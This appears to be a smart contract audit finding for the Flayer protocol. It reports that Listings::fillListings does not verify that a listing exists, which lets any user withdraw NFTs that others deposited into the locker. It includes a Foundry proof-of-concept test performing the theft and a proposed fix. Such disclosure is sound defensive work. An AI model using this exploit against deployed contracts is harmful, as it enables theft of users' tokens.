Wobbly Neon Hyena

High

# Users can call `Listings::fillListings` on unlisted NFTs, allowing them to steal NFTs deposited into the locker

### Summary

Users can deposit their tokens in the locker, and receive some tokens in return, these tokens should remain locked in that locket, until the token owner redeems/swaps that token. On the other hand, the `Listings` contract allows users to create listings for their tokens so that they can be sold for some price, when making a listing the NFT is sent to the locker:
```solidity
// We will leave a subset of the tokens inside this {Listings} contract as collateral or
// listing fees. So rather than sending the tokens directly to the user, we need to first
// receive them into this contract and then send some on.
locker.deposit(_listing.collection, _listing.tokenIds, address(this));
```
Buying a token is done by calling `Listings::fillListings`, which withdraws the token from the locker to the buyer:
```solidity        
// Transfer the listing ERC721 to the user
locker.withdrawToken(_collection, _tokenId, msg.sender);
```
However, when filling out a listing, the contract doesn't check if a listing for the requested tokens exists, this allows any user to sweep NFTs deposited into the locker, by calling `Listings::fillListings` for that token.

### Root Cause

`Listings::fillListings` doesn't check if the listing exits before performing the filling of the request token, [here](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L528-L607).

### Impact

Users can steal "locked" tokens placed in the locker, without having a listing created for them.

### PoC

Add the following test in `flayer/test/Listings.t.sol`:

```solidity
function test_CanStealLockerNFT() public {
    ICollectionToken collectionToken = ICollectionToken(
        locker.collectionToken(address(erc721a))
    );
    address bob = address(1);
    address alice = address(2);

    uint256 bobTokenId = 0;

    erc721a.mint(bob, bobTokenId);
    deal(address(collectionToken), alice, 1 ether);

    assertEq(erc721a.ownerOf(bobTokenId), bob);

    // Bob deposits his token into the locker
    vm.startPrank(bob);
    uint256[] memory tokenIds = new uint256[](1);
    erc721a.setApprovalForAll(address(locker), true);
    locker.deposit(address(erc721a), tokenIds);
    vm.stopPrank();

    assertEq(erc721a.ownerOf(bobTokenId), address(locker));

    // Alice calls fill listing on Bob's token, knowing no listing was created for it
    vm.startPrank(alice);
    uint256[][] memory tokenIdsOut = new uint256[][](1);
    tokenIdsOut[0] = new uint256[](1);
    tokenIdsOut[0][0] = bobTokenId;
    collectionToken.approve(address(listings), 1 ether);
    listings.fillListings(
        IListings.FillListingsParams({
            collection: address(erc721a),
            tokenIdsOut: tokenIdsOut
        })
    );
    vm.stopPrank();

    assertEq(erc721a.ownerOf(bobTokenId), address(alice));
}
```

### Mitigation

Check if valid listings exist for the tokens to be filled, by adding something like the following in `Listings::fillListings`:

```diff
function fillListings(
    FillListingsParams calldata params
) public nonReentrant lockerNotPaused {
    ...

    // Iterate over owners
    for (
        uint256 ownerIndex;
        ownerIndex < params.tokenIdsOut.length;
        ++ownerIndex
    ) {
        ...

        // Reset our owner for the group as the first owner in the iteration
        owner = _listings[collection][params.tokenIdsOut[ownerIndex][0]]
            .owner;

+       if (owner == address(0)) revert ListingNotAvailable();

       ...
    }

    ...
}
```